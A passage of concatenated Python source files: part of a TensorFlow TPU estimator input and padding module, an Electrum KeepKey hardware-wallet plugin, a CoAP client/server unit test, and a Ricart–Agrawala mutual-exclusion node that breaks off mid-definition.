signals=None): if dataset is not None and (features is not None or labels is not None or signals is not None): raise RuntimeError('Internal Error: Either (features and labels) or ' 'dataset should be provided, not both. Please file ' 'bug') self._features = features self._labels = labels self._signals = signals self._dataset = dataset self._iterator = None @staticmethod def from_input_fn(return_values): """Returns an `_Inputs` instance according to `input_fn` return value.""" if isinstance(return_values, dataset_ops.Dataset): dataset = return_values return _Inputs(dataset=dataset) features, labels = _Inputs._parse_inputs(return_values) return _Inputs(features, labels) @staticmethod def _parse_inputs(return_values): if isinstance(return_values, tuple): features, labels = return_values else: features, labels = return_values, None return features, labels @property def is_dataset(self): """Returns True if the return value from input_fn is Dataset.""" return self._dataset is not None def dataset_initializer(self): """Returns the dataset's initializer. The initializer must be run before calling `features_and_labels`. """ self._iterator = self._dataset.make_initializable_iterator() return self._iterator.initializer def features_and_labels(self): """Gets `features` and `labels`.""" if self.is_dataset: if self._iterator is None: raise RuntimeError('Internal error: Must run dataset_initializer ' 'before calling features_and_labels(). Please file ' 'a bug!') return _Inputs._parse_inputs(self._iterator.get_next()) return (self._features, self._labels) def signals(self): return self._signals @property def dataset(self): return self._dataset class _InputsWithStoppingSignals(_Inputs): """Inputs with `_StopSignals` inserted into the dataset.""" def __init__(self, dataset, batch_size, add_padding=False, num_invocations_per_step=1): assert dataset is not None user_provided_dataset = dataset.map( _InputsWithStoppingSignals.insert_stopping_signal( stop=False, batch_size=batch_size, add_padding=add_padding)) if num_invocations_per_step == 1: final_batch_dataset = dataset.take(1).map( _InputsWithStoppingSignals.insert_stopping_signal( stop=True, batch_size=batch_size, add_padding=add_padding)) else: # We append (2 * num_invocations_per_step - 1) batches for exhausting the # user_provided_dataset and stop properly. # For example, if num_invocations_per_step is 2, we append 3 additional # padding batches: b1, b2, b3. # If user_provided_dataset contains two batches: a1, a2 # Step 1: [a1, a2] # Step 2: [b1, b2] -> STOP # If user_provided_dataset contains three batches: a1, a2, a3. # The training loops: # Step 1: [a1, a2] # Step 2: [a3, b1] # Step 3: [b2, b3] -> STOP. final_batch_dataset = dataset.take(1).map( _InputsWithStoppingSignals.insert_stopping_signal( stop=True, batch_size=batch_size, add_padding=add_padding)) final_batch_dataset = final_batch_dataset.repeat( 2 * num_invocations_per_step - 1) def _set_mask(data_dict): signals = data_dict['signals'] signals['padding_mask'] = array_ops.ones_like(signals['padding_mask']) data_dict['signals'] = signals return data_dict # Mask out the extra batch. final_batch_dataset = final_batch_dataset.map(_set_mask) dataset = user_provided_dataset.concatenate(final_batch_dataset).prefetch(2) super(_InputsWithStoppingSignals, self).__init__(dataset=dataset) self._current_inputs = None def features_and_labels(self): if self._current_inputs is not None: raise RuntimeError( 'Internal Error: The previous inputs have not been properly ' 'consumed. First call features_and_labels, then call signals.') inputs_with_signals = self._iterator.get_next() features = inputs_with_signals['features'] labels = inputs_with_signals.get('labels') self._current_inputs = inputs_with_signals return features, labels def signals(self): """Returns the `Signals` from `_Inputs`.""" if self._current_inputs is None: raise RuntimeError( 'Internal Error: The current inputs have not been properly ' 'generated. First call features_and_labels, then call signals.') signals = self._current_inputs['signals'] self._current_inputs = None return signals @staticmethod def insert_stopping_signal(stop, batch_size, add_padding=False): """Inserts stopping_signal into dataset via _map_fn. Here we change the data structure in the dataset, such that the return value is a dictionary now and `features`, `labels`, and `signals` are three distinguished keys in that dict. This provides a better structure, which eases the process to decompose the inputs (see `features_and_labels`). Args: stop: bool, state of current stopping signals. batch_size: int, batch size. add_padding: bool, whether to pad the tensor to full batch size. Returns: A map_fn passed to dataset.map API. """ def _map_fn(*args): """The map fn to insert signals.""" if len(args) == 1: # Unpack the single Tensor/dict argument as features. This is required # for the input_fn returns no labels. args = args[0] features, labels = _Inputs._parse_inputs(args) new_input_dict = {} if add_padding: padding_mask, features, labels = ( _PaddingSignals.pad_features_and_labels(features, labels, batch_size)) new_input_dict['features'] = features if labels is not None: new_input_dict['labels'] = labels else: new_input_dict['features'] = features if labels is not None: new_input_dict['labels'] = labels padding_mask = None new_input_dict['signals'] = _StopSignals( stop=stop, batch_size=batch_size, padding_mask=padding_mask).as_dict() return new_input_dict return _map_fn class _StopSignals(object): """Signals class holding all logic to handle TPU stopping condition.""" NON_STOPPING_SIGNAL = False STOPPING_SIGNAL = True def __init__(self, stop, batch_size, padding_mask=None): self._stop = stop self._batch_size = batch_size self._padding_mask = padding_mask def as_dict(self): """Returns the signals as Python dict.""" shape = [self._batch_size, 1] dtype = dtypes.bool if self._stop: stopping = array_ops.ones(shape=shape, dtype=dtype) else: stopping = array_ops.zeros(shape=shape, dtype=dtype) signals = {'stopping': stopping} if self._padding_mask is not None: signals['padding_mask'] = self._padding_mask return signals @staticmethod def as_scalar_stopping_signal(signals): return array_ops.identity(signals['stopping'][0][0]) @staticmethod def should_stop(scalar_stopping_signal): """Detects whether scalar_stopping_signal indicates stopping.""" if isinstance(scalar_stopping_signal, ops.Tensor): # STOPPING_SIGNAL is a constant True. Here, the logical_and is just the TF # way to express the bool check whether scalar_stopping_signal is True. return math_ops.logical_and(scalar_stopping_signal, _StopSignals.STOPPING_SIGNAL) else: # For non Tensor case, it is used in SessionRunHook. So, we cannot modify # the graph anymore. Here, we use pure Python. return bool(scalar_stopping_signal) class _PaddingSignals(object): """Signals class holding all logic to handle padding.""" @staticmethod def pad_features_and_labels(features, labels, batch_size): """Pads out the batch dimension of features and labels.""" real_batch_size = array_ops.shape( _PaddingSignals._find_any_tensor(features))[0] batch_size_tensor = constant_op.constant(batch_size, dtypes.int32) check_greater = check_ops.assert_greater_equal( batch_size_tensor, real_batch_size, data=(batch_size_tensor, real_batch_size), message='The real batch size should not be greater than batch_size.') with ops.control_dependencies([check_greater]): missing_count = batch_size_tensor - real_batch_size def pad_single_tensor(tensor): """Pads out the batch dimension of a tensor to the complete batch_size.""" rank = len(tensor.shape) assert rank > 0 padding = array_ops.stack([[0, missing_count]] + [[0, 0]] * (rank - 1)) padded_shape = (batch_size,) + tuple(tensor.shape[1:]) padded_tensor = array_ops.pad(tensor, padding) padded_tensor.set_shape(padded_shape) return padded_tensor def nest_pad(tensor_or_dict): return nest.map_structure(pad_single_tensor, tensor_or_dict) features = nest_pad(features) if labels is not None: labels = nest_pad(labels) padding_mask = _PaddingSignals._padding_mask(real_batch_size, missing_count, batch_size) return padding_mask, features, labels @staticmethod def slice_tensor_or_dict(tensor_or_dict, signals): """Slice the real Tensors according to padding mask in signals.""" padding_mask = signals['padding_mask'] batch_size = array_ops.shape(padding_mask)[0] def verify_batch_size(tensor): check_batch_size = math_ops.equal(batch_size, tensor.shape[0]) with ops.control_dependencies([check_batch_size]): return array_ops.identity(tensor) def slice_single_tensor(tensor): rank = len(tensor.shape) assert rank > 0 real_batch_size = batch_size - math_ops.reduce_sum(padding_mask) return verify_batch_size(tensor)[0:real_batch_size] # As we split the Tensors to all TPU cores and concat them back, it is # important to ensure the real data is placed before padded ones, i.e., # order is preserved. By that, the sliced padding mask should have all 0's. # If this assertion failed, # the slice logic here would not hold. sliced_padding_mask = slice_single_tensor(padding_mask) assert_padding_mask = math_ops.equal( math_ops.reduce_sum(sliced_padding_mask), 0) with ops.control_dependencies([assert_padding_mask]): should_stop = _StopSignals.should_stop( _StopSignals.as_scalar_stopping_signal(signals)) is_full_batch = math_ops.equal(math_ops.reduce_sum(padding_mask), 0) def slice_fn(tensor): # If the current batch is full batch or part of stopping signals, we do # not need to slice to save performance. return control_flow_ops.cond( math_ops.logical_or(should_stop, is_full_batch), (lambda: verify_batch_size(tensor)), (lambda: slice_single_tensor(tensor))) return nest.map_structure(slice_fn, tensor_or_dict) @staticmethod def _find_any_tensor(batch_features): tensors = [ x for x in nest.flatten(batch_features) if isinstance(x, ops.Tensor) ] if not tensors: raise ValueError('Cannot find any Tensor in features dict.') return tensors[0] @staticmethod def _padding_mask(real_batch_size, missing_count, batch_size): padding_mask = array_ops.concat([ array_ops.zeros((real_batch_size,), dtype=dtypes.int32), array_ops.ones((missing_count,), dtype=dtypes.int32) ], axis=0) padding_mask.set_shape((batch_size,)) return padding_mask def _verify_cross_hosts_transfer_size(tensor_dict, message): total_size = 0 tensor_structure = {} for key, tensor in tensor_dict.items(): shape = tensor.shape size = np.product(shape) * tensor.dtype.size tensor_structure[key] = shape total_size += size if total_size >= _ONE_GIGABYTE: raise ValueError( '{} The transfer size is larger than the protobuf limit. Please ' 'consider to use Tensors with smaller shapes or reduce batch ' 'size. Given:\n' '{}'.format( message, '\n'.join([ ' -- Key: {}, Shape: {}'.format(k, v) for k, v in tensor_structure.items() ]))) def _add_item_to_params(params, key, value): """Adds a new item into `params`.""" if isinstance(params, hparam.HParams): # For HParams, we need to use special API. if key in params: params.set_hparam(key, value) else: params.add_hparam(key, value) else: # Now params is Python dict. params[key] = value def export_estimator_savedmodel(estimator, export_dir_base, serving_input_receiver_fn, assets_extra=None, as_text=False, checkpoint_path=None, strip_default_attrs=False): """Export `Estimator` trained model for TPU inference. Args: estimator: `Estimator` with which model has been trained. export_dir_base: A string containing a directory in which to create timestamped subdirectories containing exported SavedModels. serving_input_receiver_fn: A function that takes no argument and returns a `ServingInputReceiver` or `TensorServingInputReceiver`. assets_extra: A dict specifying how to populate the assets.extra directory within the exported SavedModel, or `None` if no extra assets are needed. as_text: whether to write the SavedModel proto in text format. checkpoint_path: The checkpoint path to export. If `None` (the default), the most recent checkpoint found within the model directory is chosen. strip_default_attrs: Boolean. If `True`, default-valued attributes will be removed from the NodeDefs. Returns: The string path to the exported directory. """ # `TPUEstimator` requires `tpu_config.RunConfig`, so we cannot use # `estimator.config`. config = tpu_config.RunConfig(model_dir=estimator.model_dir) est = TPUEstimator( estimator._model_fn, # pylint: disable=protected-access config=config, params=estimator.params, use_tpu=True, train_batch_size=2048, # Does not matter. eval_batch_size=2048, # Does not matter. ) return est.export_savedmodel(export_dir_base, serving_input_receiver_fn, assets_extra, as_text, checkpoint_path, strip_default_attrs)
keepkey.py
from binascii import hexlify, unhexlify import traceback import sys from electrum.util import bfh, bh2u, UserCancelled from electrum.bitcoin import (b58_address_to_hash160, xpub_from_pubkey, TYPE_ADDRESS, TYPE_SCRIPT, is_segwit_address) from electrum import constants from electrum.i18n import _ from electrum.plugins import BasePlugin from electrum.transaction import deserialize, Transaction from electrum.keystore import Hardware_KeyStore, is_xpubkey, parse_xpubkey from electrum.wallet import Standard_Wallet from electrum.base_wizard import ScriptTypeNotSupported from ..hw_wallet import HW_PluginBase # TREZOR initialization methods TIM_NEW, TIM_RECOVER, TIM_MNEMONIC, TIM_PRIVKEY = range(0, 4) class KeepKey_KeyStore(Hardware_KeyStore): hw_type = 'keepkey' device = 'KeepKey' def get_derivation(self): return self.derivation def is_segwit(self): return self.derivation.startswith("m/49'/") def get_client(self, force_pair=True): return self.plugin.get_client(self, force_pair) def decrypt_message(self, sequence, message, password): raise RuntimeError(_('Encryption and decryption are not implemented by {}').format(self.device)) def sign_message(self, sequence, message, password): client = self.get_client() address_path = self.get_derivation() + "/%d/%d"%sequence address_n = client.expand_path(address_path) msg_sig = client.sign_message(self.plugin.get_coin_name(), address_n, message) return msg_sig.signature def sign_transaction(self, tx, password): if tx.is_complete(): return # previous transactions used as inputs prev_tx = {} # path of the xpubs that are involved xpub_path = {} for txin in tx.inputs(): pubkeys, x_pubkeys = tx.get_sorted_pubkeys(txin) tx_hash = txin['prevout_hash'] if txin.get('prev_tx') is None and not Transaction.is_segwit_input(txin): raise Exception(_('Offline signing with {} is not supported for legacy inputs.').format(self.device)) prev_tx[tx_hash] = txin['prev_tx'] for x_pubkey in x_pubkeys: if not is_xpubkey(x_pubkey): continue xpub, s = parse_xpubkey(x_pubkey) if xpub == self.get_master_public_key(): xpub_path[xpub] = self.get_derivation() self.plugin.sign_transaction(self, tx, prev_tx, xpub_path) class KeepKeyPlugin(HW_PluginBase): # Derived classes provide: # # class-static variables: client_class, firmware_URL, handler_class, # libraries_available, libraries_URL, minimum_firmware, # wallet_class, ckd_public, types, HidTransport firmware_URL = 'https://www.keepkey.com' libraries_URL = 'https://github.com/keepkey/python-keepkey' minimum_firmware = (1, 0, 0) keystore_class = KeepKey_KeyStore SUPPORTED_XTYPES = ('standard', ) MAX_LABEL_LEN = 32 def __init__(self, parent, config, name): HW_PluginBase.__init__(self, parent, config, name) try: from . import client import keepkeylib import keepkeylib.ckd_public import keepkeylib.transport_hid self.client_class = client.KeepKeyClient self.ckd_public = keepkeylib.ckd_public self.types = keepkeylib.client.types self.DEVICE_IDS = keepkeylib.transport_hid.DEVICE_IDS self.device_manager().register_devices(self.DEVICE_IDS) self.libraries_available = True except ImportError: self.libraries_available = False def hid_transport(self, pair): from keepkeylib.transport_hid import HidTransport return HidTransport(pair) def _try_hid(self, device): self.print_error("Trying to connect over USB...") if device.interface_number == 1: pair = [None, device.path] else: pair = [device.path, None] try: return self.hid_transport(pair) except BaseException as e: # see fdb810ba622dc7dbe1259cbafb5b28e19d2ab114 # raise self.print_error("cannot connect at", device.path, str(e)) return None def create_client(self, device, handler): transport = self._try_hid(device) if not transport: self.print_error("cannot connect to device") return self.print_error("connected to device at", device.path) client = self.client_class(transport, handler, self) # Try a ping for device sanity try: client.ping('t') except BaseException as e: self.print_error("ping failed", str(e)) return None if not client.atleast_version(*self.minimum_firmware): msg = (_('Outdated {} firmware for device labelled {}. Please ' 'download the updated firmware from {}') .format(self.device, client.label(), self.firmware_URL)) self.print_error(msg) handler.show_error(msg) return None return client def get_client(self, keystore, force_pair=True): devmgr = self.device_manager() handler = keystore.handler with devmgr.hid_lock: client = devmgr.client_for_keystore(self, handler, keystore, force_pair) # returns the client for a given keystore. can use xpub if client: client.used() return client def get_coin_name(self): return "Testnet" if constants.net.TESTNET else "Bitcoin" def initialize_device(self, device_id, wizard, handler): # Initialization method msg = _("Choose how you want to initialize your {}.\n\n" "The first two methods are secure as no secret information " "is entered into your computer.\n\n" "For the last two methods you input secrets on your keyboard " "and upload them to your {}, and so you should " "only do those on a computer you know to be trustworthy " "and free of malware." ).format(self.device, self.device) choices = [ # Must be short as QT doesn't word-wrap radio button text (TIM_NEW, _("Let the device generate a completely new seed randomly")), (TIM_RECOVER, _("Recover from a seed you have previously written down")), (TIM_MNEMONIC, _("Upload a BIP39 mnemonic to generate the seed")), (TIM_PRIVKEY, _("Upload a master private key")) ] def f(method): import threading settings = self.request_trezor_init_settings(wizard, method, self.device) t = threading.Thread(target=self._initialize_device_safe, args=(settings, method, device_id, wizard, handler)) t.setDaemon(True) t.start() exit_code = wizard.loop.exec_() if exit_code != 0: # this method (initialize_device) was called with the expectation # of leaving the device in an initialized state when finishing. # signal that this is not the case: raise UserCancelled() wizard.choice_dialog(title=_('Initialize Device'), message=msg, choices=choices, run_next=f) def _initialize_device_safe(self, settings, method, device_id, wizard, handler): exit_code = 0 try: self._initialize_device(settings, method, device_id, wizard, handler) except UserCancelled: exit_code = 1 except BaseException as e: traceback.print_exc(file=sys.stderr) handler.show_error(str(e)) exit_code = 1 finally: wizard.loop.exit(exit_code) def _initialize_device(self, settings, method, device_id, wizard, handler): item, label, pin_protection, passphrase_protection = settings language = 'english' devmgr = self.device_manager() client = devmgr.client_by_id(device_id) if method == TIM_NEW: strength = 64 * (item + 2) # 128, 192 or 256 client.reset_device(True, strength, passphrase_protection, pin_protection, label, language) elif method == TIM_RECOVER: word_count = 6 * (item + 2) # 12, 18 or 24 client.step = 0 client.recovery_device(word_count, passphrase_protection, pin_protection, label, language) elif method == TIM_MNEMONIC: pin = pin_protection # It's the pin, not a boolean client.load_device_by_mnemonic(str(item), pin, passphrase_protection, label, language) else: pin = pin_protection # It's the pin, not a boolean client.load_device_by_xprv(item, pin, passphrase_protection, label, language) def setup_device(self, device_info, wizard, purpose): devmgr = self.device_manager() device_id = device_info.device.id_ client = devmgr.client_by_id(device_id) if client is None: raise Exception(_('Failed to create a client for this device.') + '\n' + _('Make sure it is in the correct state.')) # fixme: we should use: client.handler = wizard client.handler = self.create_handler(wizard) if not device_info.initialized: self.initialize_device(device_id, wizard, client.handler) client.get_xpub('m', 'standard') client.used() def get_xpub(self, device_id, derivation, xtype, wizard): if xtype not in self.SUPPORTED_XTYPES: raise ScriptTypeNotSupported(_('This type of script is not supported with {}.').format(self.device)) devmgr = self.device_manager() client = devmgr.client_by_id(device_id) client.handler = wizard xpub = client.get_xpub(derivation, xtype) client.used() return xpub def sign_transaction(self, keystore, tx, prev_tx, xpub_path): self.prev_tx = prev_tx self.xpub_path = xpub_path client = self.get_client(keystore) inputs = self.tx_inputs(tx, True, keystore.is_segwit()) outputs = self.tx_outputs(keystore.get_derivation(), tx, keystore.is_segwit()) signed_tx = client.sign_tx(self.get_coin_name(), inputs, outputs, lock_time=tx.locktime)[1] raw = bh2u(signed_tx) tx.update_signatures(raw) def show_address(self, wallet, address, keystore=None): if keystore is None: keystore = wallet.get_keystore() if not self.show_address_helper(wallet, address, keystore): return if type(wallet) is not Standard_Wallet: keystore.handler.show_error(_('This function is only available for standard wallets when using {}.').format(self.device)) return client = self.get_client(wallet.keystore) if not client.atleast_version(1, 3): wallet.keystore.handler.show_error(_("Your device firmware is too old")) return change, index = wallet.get_address_index(address) derivation = wallet.keystore.derivation address_path = "%s/%d/%d"%(derivation, change, index) address_n = client.expand_path(address_path) segwit = wallet.keystore.is_segwit() script_type = self.types.SPENDP2SHWITNESS if segwit else self.types.SPENDADDRESS client.get_address(self.get_coin_name(), address_n, True, script_type=script_type) def tx_inputs(self, tx, for_sig=False, segwit=False): inputs = [] for txin in tx.inputs(): txinputtype = self.types.TxInputType() if txin['type'] == 'coinbase': prev_hash = "\0"*32 prev_index = 0xffffffff # signed int -1 else: if for_sig: x_pubkeys = txin['x_pubkeys'] if len(x_pubkeys) == 1: x_pubkey = x_pubkeys[0] xpub, s = parse_xpubkey(x_pubkey) xpub_n = self.client_class.expand_path(self.xpub_path[xpub]) txinputtype.address_n.extend(xpub_n + s) txinputtype.script_type = self.types.SPENDP2SHWITNESS if segwit else self.types.SPENDADDRESS else: def f(x_pubkey): if is_xpubkey(x_pubkey): xpub, s = parse_xpubkey(x_pubkey) else: xpub = xpub_from_pubkey(0, bfh(x_pubkey)) s = [] node = self.ckd_public.deserialize(xpub) return self.types.HDNodePathType(node=node, address_n=s) pubkeys = map(f, x_pubkeys) multisig = self.types.MultisigRedeemScriptType( pubkeys=pubkeys, signatures=map(lambda x: bfh(x)[:-1] if x else b'', txin.get('signatures')), m=txin.get('num_sig'), ) script_type = self.types.SPENDP2SHWITNESS if segwit else self.types.SPENDMULTISIG txinputtype = self.types.TxInputType( script_type=script_type, multisig=multisig ) # find which key is mine for x_pubkey in x_pubkeys: if is_xpubkey(x_pubkey): xpub, s = parse_xpubkey(x_pubkey) if xpub in self.xpub_path: xpub_n = self.client_class.expand_path(self.xpub_path[xpub]) txinputtype.address_n.extend(xpub_n + s) break prev_hash = unhexlify(txin['prevout_hash']) prev_index = txin['prevout_n'] if 'value' in txin: txinputtype.amount = txin['value'] txinputtype.prev_hash = prev_hash txinputtype.prev_index = prev_index if txin.get('scriptSig') is not None: script_sig = bfh(txin['scriptSig']) txinputtype.script_sig = script_sig txinputtype.sequence = txin.get('sequence', 0xffffffff - 1) inputs.append(txinputtype) return inputs def tx_outputs(self, derivation, tx, segwit=False): def create_output_by_derivation(info): index, xpubs, m = info if len(xpubs) == 1: script_type = self.types.PAYTOP2SHWITNESS if segwit else self.types.PAYTOADDRESS address_n = self.client_class.expand_path(derivation + "/%d/%d" % index) txoutputtype = self.types.TxOutputType( amount=amount, script_type=script_type, address_n=address_n, ) else: script_type = self.types.PAYTOP2SHWITNESS if segwit else self.types.PAYTOMULTISIG address_n = self.client_class.expand_path("/%d/%d" % index) nodes = map(self.ckd_public.deserialize, xpubs) pubkeys = [self.types.HDNodePathType(node=node, address_n=address_n) for node in nodes] multisig = self.types.MultisigRedeemScriptType( pubkeys=pubkeys, signatures=[b''] * len(pubkeys), m=m) txoutputtype = self.types.TxOutputType( multisig=multisig, amount=amount, address_n=self.client_class.expand_path(derivation + "/%d/%d" % index), script_type=script_type) return txoutputtype def create_output_by_address(): txoutputtype = self.types.TxOutputType() txoutputtype.amount = amount if _type == TYPE_SCRIPT: txoutputtype.script_type = self.types.PAYTOOPRETURN txoutputtype.op_return_data = address[2:] elif _type == TYPE_ADDRESS: if is_segwit_address(address): txoutputtype.script_type = self.types.PAYTOWITNESS else: addrtype, hash_160 = b58_address_to_hash160(address) if addrtype == constants.net.ADDRTYPE_P2PKH: txoutputtype.script_type = self.types.PAYTOADDRESS elif addrtype == constants.net.ADDRTYPE_P2SH: txoutputtype.script_type = self.types.PAYTOSCRIPTHASH else: raise Exception('addrtype: ' + str(addrtype)) txoutputtype.address = address return txoutputtype def is_any_output_on_change_branch(): for _type, address, amount in tx.outputs(): info = tx.output_info.get(address) if info is not None: index, xpubs, m = info if index[0] == 1: return True return False outputs = [] has_change = False any_output_on_change_branch = is_any_output_on_change_branch() for _type, address, amount in tx.outputs(): use_create_by_derivation = False info = tx.output_info.get(address) if info is not None and not has_change: index, xpubs, m = info on_change_branch = index[0] == 1 # prioritise hiding outputs on the 'change' branch from user # because no more than one change address allowed if on_change_branch == any_output_on_change_branch: use_create_by_derivation = True has_change = True if use_create_by_derivation: txoutputtype = create_output_by_derivation(info) else: txoutputtype = create_output_by_address() outputs.append(txoutputtype) return outputs def electrum_tx_to_txtype(self, tx): t = self.types.TransactionType() d = deserialize(tx.raw) t.version = d['version'] t.lock_time = d['lockTime'] inputs = self.tx_inputs(tx) t.inputs.extend(inputs) for vout in d['outputs']: o = t.bin_outputs.add() o.amount = vout['value'] o.script_pubkey = bfh(vout['scriptPubKey']) return t # This function is called from the TREZOR libraries (via tx_api) def get_tx(self, tx_hash): tx = self.prev_tx[tx_hash] return self.electrum_tx_to_txtype(tx)
coverage_test_advanced.py
# -*- coding: utf-8 -*- import threading import unittest from queue import Queue import random from example.coapserver import CoAPServer import defines from src.Bubot_CoAP import HelperClient from messages.option import Option from messages.request import Request from messages.response import Response class Tests(unittest.TestCase): def setUp(self): self.server_address = ("127.0.0.1", 5683) self.current_mid = random.randint(1, 1000) self.server_mid = random.randint(1000, 2000) self.server = CoAPServer("127.0.0.1", 5683) self.server_thread = threading.Thread(target=self.server.listen, args=(1,)) self.server_thread.start() self.queue = Queue() def tearDown(self): self.server.close() self.server_thread.join(timeout=25) self.server = None def _test_with_client(self, message_list): # pragma: no cover client = HelperClient(self.server_address) for message, expected in message_list: if message is not None: received_message = client.send_request(message) if expected is not None: if expected.type is not None: self.assertEqual(received_message.type, expected.type) if expected.mid is not None: self.assertEqual(received_message.mid, expected.mid) self.assertEqual(received_message.code, expected.code) if expected.source is not None: self.assertEqual(received_message.source, self.server_address) if expected.token is not None: self.assertEqual(received_message.token, expected.token) if expected.payload is not None: self.assertEqual(received_message.payload, expected.payload) if expected.options: self.assertEqual(len(received_message.options), len(expected.options)) for o in expected.options: assert isinstance(o, Option) option_value = getattr(expected, o.name.lower().replace("-", "_")) option_value_rec = getattr(received_message, o.name.lower().replace("-", "_")) self.assertEqual(option_value, option_value_rec) client.stop() def client_callback(self, response): print("Callback") self.queue.put(response) def test_advanced(self): print("TEST_ADVANCED") path = "/advanced" req = Request() req.code = defines.Codes.GET.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["ACK"] expected._mid = self.current_mid expected.code = defines.Codes.CONTENT.number expected.max_age = 20 expected.token = None exchange1 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.POST.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["ACK"] expected._mid = self.current_mid expected.code = defines.Codes.CREATED.number expected.payload = "Response changed through POST" expected.token = None exchange2 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.PUT.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["ACK"] expected._mid = self.current_mid expected.code = defines.Codes.CHANGED.number expected.payload = "Response changed through PUT" expected.token = None exchange3 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.DELETE.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["ACK"] expected._mid = self.current_mid expected.code = defines.Codes.DELETED.number expected.payload = "Response deleted" expected.token = None exchange4 = (req, expected) self.current_mid += 1 self._test_with_client([exchange1, exchange2, exchange3, exchange4]) def test_advanced_separate(self): print("TEST_ADVANCED_SEPARATE") path = "/advancedSeparate" req = Request() req.code = defines.Codes.GET.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["CON"] expected._mid = None expected.code = defines.Codes.CONTENT.number expected.max_age = 20 expected.token = None exchange1 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.POST.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["CON"] expected._mid = None expected.code = defines.Codes.CREATED.number expected.payload = "Response changed through POST" expected.token = None exchange2 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.PUT.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["CON"] expected._mid = None expected.code = defines.Codes.CHANGED.number expected.payload = "Response changed through PUT" expected.token = None exchange3 = (req, expected) self.current_mid += 1 req = Request() req.code = defines.Codes.DELETE.number req.uri_path = path req.type = defines.Types["CON"] req._mid = self.current_mid req.destination = self.server_address expected = Response() expected.type = defines.Types["CON"] expected._mid = None expected.code = defines.Codes.DELETED.number expected.payload = "Response deleted" expected.token = None exchange4 = (req, expected) self.current_mid += 1 self._test_with_client([exchange1, exchange2, exchange3, exchange4]) if __name__ == '__main__': unittest.main()
node.py
import socket import time import datetime import threading class Node(): port = -1 executing_cs = False requesting_cs = False waiting_reply_q = None host = "?" s_listener = None keep_listeing = True node_name = "?" connectedNodeList=list() defferedRequest=None logical_clock = None logFile = None ## def __init__(self,port,node_name): self.port = port self.host = socket.gethostname() self.node_name = node_name self.logical_clock = 0 self.defferedRequest = list() self.connectedNodeList = list() self.keep_listeing = True self.waiting_reply_q = list() self.requesting_cs = False self.executing_cs = False self.logFile=open(f'{self.node_name}_{self.port}.log','w') ## def start(self): listenerThread = threading.Thread(target=self._start_accepting_msg) listenerThread.start() self._logger(f'Listening started on this node') ## def _start_accepting_msg(self): self.s_listener = socket.socket() self.s_listener.bind((self.host,self.port)) self.s_listener.listen() while self.keep_listeing: connection,addr=self.s_listener.accept() received_message = connection.recv(2048).decode() if(len(received_message) > 0 ): self._msgHandler(received_message) connection.close() self.close() ## def close(self): self.s_listener.close() ## def _getHostName(self): return self.host ## def send(self,target_port,message): if('REPLY' in message): self._logger(f'Sending "{message}" to {target_port}') send_socket = socket.socket() send_socket.connect((self._getHostName(),target_port)) send_socket.send(message.encode('ascii')) send_socket.close() ## def _msgHandler(self,message): ##Handling stopping of node using STOP message if('STOP_NODE' in message): mport=int(message.split(',')[1]) if(mport == self.port): self.keep_listeing = False self._logger('Stopping node now') if('REQUEST' in message): csRequestHandlerThread = threading.Thread(target=self._handleCSRequest,args=(message,)) csRequestHandlerThread.start() if('REPLY' in message): csReplyHandlerThread = threading.Thread(target=self._handleCSReply,args=(message,)) csReplyHandlerThread.start() ## def _executeCS(self): self.executing_cs=True self._logger('Executing CS') time.sleep(10) self._logger('Critical section execution finished') self.executing_cs=False if len(self.defferedRequest) > 0: self._logger('processing deffered queue') self._processDeferredQueue() def _processDeferredQueue(self): self._logger(f'Current deferred request queue is {self.defferedRequest}') for message in self.defferedRequest: sourcePort = int(message.split(',')[1]) self._logger(f'Sending deffered REPLY to {sourcePort}') self.send(sourcePort,f'REPLY,{self.port}') self.requesting_cs = False ## def _handleCSReply(self,message): sourcePort=int(message.split(',')[1]) self._logger(f'Received REPLY node {sourcePort}') if sourcePort in self.waiting_reply_q: self._logger(f'Removing {sourcePort} from reply waiting queue') self.waiting_reply_q.remove(sourcePort) if len(self.waiting_reply_q) == 0: csExecutionThread = threading.Thread(target=self._executeCS) csExecutionThread.start() else: self._logger(f'Awaiting reply from nodes {self.waiting_reply_q}') ## def _handleCSRequest(self,message): self._incrementLogicalClock() sourcePort=int(message.split(',')[1]) sourceTimestamp=int(message.split(',')[2]) self._logger(f'Received request for CS execution from node {sourcePort} TS = {sourceTimestamp}') condition1=False condition2=False #Condition 1 - If requesting or executing CS already ? condition1 = self.requesting_cs #Condition 2 - the receiving process has a lower priority (usually this means having a later timestamp) if(self.requesting_cs): if(self.logical_clock>sourceTimestamp): condition2 = True else: if(self.logical_clock == sourceTimestamp): if(self.port < sourcePort): condition2 = True if((condition1 and condition2) or self.executing_cs): self._logger(f'Deffering request {message}') self.defferedRequest.append(message) else: self.send(sourcePort,f'REPLY,{self.port}') ## def stop(self): self.keep_listeing = False self.host = socket.gethostname() self.send(self.port,f'STOP_NODE,{self.port}') ## def setConnectedNodes(self, nodeList): self.connectedNodeList=nodeList.copy() def _requesting_critical_section(self,defer_cs_request_time): if(self.requesting_cs): self._logger('Already requested CS and awaiting execution completion') return self.requesting_cs = True if(defer_cs_request_time > 0): self._logger(f'Deffering CS request by {defer_cs_request_time} seconds') time.sleep(defer_cs_request_time) self._incrementLogicalClock() for targetPort in self.connectedNodeList: if(targetPort != self.port): self.waiting_reply_q.append(targetPort) for targetPort in self.connectedNodeList: if(targetPort != self.port): request_message = f'REQUEST,{self.port},{self.logical_clock}' self._logger(f'Sending CS request to node {targetPort} - "{request_message}"') self.send(targetPort,request_message) def requestCS(self,defer_cs_request_time=0): 